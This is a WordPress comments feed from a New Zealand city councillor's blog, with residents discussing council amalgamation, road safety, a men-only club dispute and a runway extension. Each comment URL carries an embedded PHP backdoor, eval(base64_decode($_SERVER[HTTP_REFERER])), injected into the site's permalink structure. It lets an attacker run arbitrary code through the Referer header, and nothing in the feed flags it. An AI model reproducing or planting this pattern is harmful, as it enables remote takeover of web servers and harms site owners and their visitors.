Comments for Bill Dalton http://www.dalton.net.nz Napier City Councillor Thu, 11 Mar 2010 11:26:31 +0000 http://wordpress.org/?v=2.5 Comment on Raising age a simplistic approach to road safety by Anonymous http://www.dalton.net.nz/2007/12/12/raising-age-a-simplistic-approach-to-road-safety/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3558 Anonymous Tue, 27 Oct 2009 21:26:12 +0000 http://www.dalton.net.nz/2007/12/12/raising-age-a-simplistic-approach-to-road-safety/#comment-3558 im in with rickis response im in with rickis response

]]> Comment on Let’s take emotion out of amalgamation talk by Wayne Bradshaw http://www.dalton.net.nz/2009/09/23/lets-take-emotion-out-of-almalgamation-talk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3255 Wayne Bradshaw Thu, 24 Sep 2009 21:37:28 +0000 http://www.dalton.net.nz/?p=93#comment-3255 Bill, Totally agree, the real agenda is to get the best for the region by working together better. This is what all Councils and Councillors should be doing as a matter of course. Wayne Bill,

Totally agree, the real agenda is to get the best for the region by working together better. This is what all Councils and Councillors should be doing as a matter of course.

Wayne

]]> Comment on Let’s take emotion out of amalgamation talk by Pat Magill http://www.dalton.net.nz/2009/09/23/lets-take-emotion-out-of-almalgamation-talk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3250 Pat Magill Thu, 24 Sep 2009 07:49:29 +0000 http://www.dalton.net.nz/?p=93#comment-3250 again you are "spot on" "Billy Boy" again you are “spot on” “Billy Boy”

]]> Comment on Excesses need to be addressed by Pat Magill http://www.dalton.net.nz/2009/09/16/excesses-need-to-be-addressed/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3211 Pat Magill Fri, 18 Sep 2009 04:11:07 +0000 http://www.dalton.net.nz/?p=92#comment-3211 Your best yet Bill, “you are from good Napier honest stock,born from hardworking parents”. Good workers, are mostly the success of good management. Yet successive NZ governments have encouraged Kiwi’s to go off shore for more money. Now, the lure of money, without a lifestyle of rivers and lakes and friendly people,to bring up their families , is driving many “fat cats” back to the land of the long white cloud. There has to be more value in a buck, than just a buck.? To conclude, A. N.Z businessman I met recently in London, was pissed off, and keen to return home. In winter, he and his wife went to work in the dark, and returned home in the dark. Expensive Nannies babysat the kids, They were both so stuffed at the weekend, the kids suffered. ‘We were sucked into greed was my friends comment. (His N.Z salary was over $350.000 ) Your best yet Bill, “you are from good Napier honest stock,born from hardworking parents”.
Good workers, are mostly the success of good management.
Yet successive NZ governments have encouraged Kiwi’s to go off shore for more money.
Now, the lure of money, without a lifestyle of rivers and lakes and friendly people,to bring up their families , is driving many “fat cats” back to the land of the long white cloud.
There has to be more value in a buck, than just a buck.? To conclude, A. N.Z businessman I met recently in London, was pissed off, and keen to return home. In winter, he and his wife went to work in the dark, and returned home in the dark. Expensive Nannies babysat the kids, They were both so stuffed at the weekend, the kids suffered. ‘We were sucked into greed was my friends comment. (His N.Z salary was over $350.000 )

]]> Comment on Regional co-operation by Wayne Bradshaw http://www.dalton.net.nz/2009/09/02/regional-co-operation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3163 Wayne Bradshaw Mon, 07 Sep 2009 21:43:10 +0000 http://www.dalton.net.nz/?p=90#comment-3163 Bill, As a member of the Omarunui Landfill Committee I would agree completely. This grouping of Councillors have no baggage or axes to grind and are just getting on with their job, to get the best result for their ratepayers and the region. Surely it isnt that difficult !!! Bill,

As a member of the Omarunui Landfill Committee I would agree completely. This grouping of Councillors have no baggage or axes to grind and are just getting on with their job, to get the best result for their ratepayers and the region. Surely it isnt that difficult !!!

]]> Comment on A politician with the courage of his convictions by Ewan McGregor http://www.dalton.net.nz/2009/08/12/a-politician-with-the-courage-of-his-convictions/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3143 Ewan McGregor Wed, 26 Aug 2009 19:26:00 +0000 http://www.dalton.net.nz/?p=87#comment-3143 Oh dear Bill, I have just checked this out and while I don't want to make a fight of this I must reply. I turned up at a function at the club as an invited guest of the ACT Party (but non-member of the party, I think I qualified as a councilor). I didn't know who paid, and didn't care. I took offence to your opening comment, "You've got a cheek coming here". Further, upon joining the Club I did not know that women were didqualified from being members. I didn't think that in the 21st Century there was such a thing in NZ. I realised this initially when after a long day of hearings at the R C I asked the Committee Chairman (and Council Deputy) to join me and another (male member) at the Club, and when she arrived I was told that women visitors weren't allowed in the bar. (You reason for this was that 'members would have to watch language'. God help me - and this is a 'gentleman's club'?) Finally, I think the rule is archaic and an insult to woman. I'm unrepentant - 100% unrepentant. Cheers Ewan Mac Oh dear Bill, I have just checked this out and while I don’t want to make a fight of this I must reply.

I turned up at a function at the club as an invited guest of the ACT Party (but non-member of the party, I think I qualified as a councilor). I didn’t know who paid, and didn’t care. I took offence to your opening comment, “You’ve got a cheek coming here”.

Further, upon joining the Club I did not know that women were didqualified from being members. I didn’t think that in the 21st Century there was such a thing in NZ. I realised this initially when after a long day of hearings at the R C I asked the Committee Chairman (and Council Deputy) to join me and another (male member) at the Club, and when she arrived I was told that women visitors weren’t allowed in the bar. (You reason for this was that ‘members would have to watch language’. God help me - and this is a ‘gentleman’s club’?)

Finally, I think the rule is archaic and an insult to woman. I’m unrepentant - 100% unrepentant.
Cheers
Ewan Mac

]]> Comment on A politician with the courage of his convictions by Peter McAlley http://www.dalton.net.nz/2009/08/12/a-politician-with-the-courage-of-his-convictions/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3126 Peter McAlley Wed, 19 Aug 2009 23:06:21 +0000 http://www.dalton.net.nz/?p=87#comment-3126 Greetings Bill Principles, not principals, please. Unfortunately the problem with some odours is they just do not go away. Just when you think the situation has been sorted something turns up that makes the nose wrinkle. It is probably more of a job for the pest controller rather than the odd can of air freshener. Greetings Bill
Principles, not principals, please.
Unfortunately the problem with some odours is they just do not go away. Just when you think the situation has been sorted something turns up that makes the nose wrinkle. It is probably more of a job for the pest controller rather than the odd can of air freshener.

]]> Comment on Education failings by Peter McAlley http://www.dalton.net.nz/2009/07/29/education-failings/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3124 Peter McAlley Wed, 19 Aug 2009 22:57:17 +0000 http://www.dalton.net.nz/?p=85#comment-3124 Greetings Bill Absolutely right on the typing issue. In an earlier life, around the age of 18, I was taught to type. No choice, it was part of the job. Then, having no use for it for many years, I became very rusty. With the advent of computers I now find it was probably the best skill I ever acquired. It has given me the power to annoy politicians and the like on a very regular basis, which, incidentally, is also the very core of democracy, in case anyone has forgotten. Greetings Bill
Absolutely right on the typing issue. In an earlier life, around the age of 18, I was taught to type. No choice, it was part of the job. Then, having no use for it for many years, I became very rusty. With the advent of computers I now find it was probably the best skill I ever acquired. It has given me the power to annoy politicians and the like on a very regular basis, which, incidentally, is also the very core of democracy, in case anyone has forgotten.

]]> Comment on A politician with the courage of his convictions by Ewan McGregor http://www.dalton.net.nz/2009/08/12/a-politician-with-the-courage-of-his-convictions/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3115 Ewan McGregor Tue, 18 Aug 2009 20:26:41 +0000 http://www.dalton.net.nz/?p=87#comment-3115 Yes Bill, I too admire Roger Douglas and have always said that we would be down the gurgler if we hadn't had the restructuring of the late 1980s, as painful as it was, and being a farmer then, it can say that it was painful indeed. We need politicians that stand up and state their views and a constituent public that recognises such as part of the democratic process, which in the final analysis much of it does. Not just politicians but columnists too! Sorry, I can't resist this Bill, but I recall you telling me that I was held in great odour in the H B Club, a sentiment which you shared, for daring to publically resign from it for excluding women members. Cheers Ewan Mac <strong>Ewan, you miss my point. My comment to you regarding the HB Club was this: You joined knowing the rules, took umbrage and resigned when the rules were enforced, wrote a scathing piece about the Club in the HB Today then subsequently turned up to a function at the Club when a member was shouting. If you found the Club such an evil place, that you had to resign soon after joining, then you should have stuck to your principles (Thanks Peter) and stayed away. Bill</strong> Yes Bill, I too admire Roger Douglas and have always said that we would be down the gurgler if we hadn’t had the restructuring of the late 1980s, as painful as it was, and being a farmer then, it can say that it was painful indeed.

We need politicians that stand up and state their views and a constituent public that recognises such as part of the democratic process, which in the final analysis much of it does.

Not just politicians but columnists too! Sorry, I can’t resist this Bill, but I recall you telling me that I was held in great odour in the H B Club, a sentiment which you shared, for daring to publically resign from it for excluding women members.
Cheers
Ewan Mac

Ewan, you miss my point. My comment to you regarding the HB Club was this: You joined knowing the rules, took umbrage and resigned when the rules were enforced, wrote a scathing piece about the Club in the HB Today then subsequently turned up to a function at the Club when a member was shouting. If you found the Club such an evil place, that you had to resign soon after joining, then you should have stuck to your principles (Thanks Peter) and stayed away.
Bill

]]> Comment on Yet to be convinced on runway extension by allan baldock http://www.dalton.net.nz/2009/06/24/yet-to-be-convinced-on-runway-extension/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3104 allan baldock Sun, 16 Aug 2009 03:21:37 +0000 http://www.dalton.net.nz/?p=80#comment-3104 agree with you on this one Bill agree with you on this one Bill

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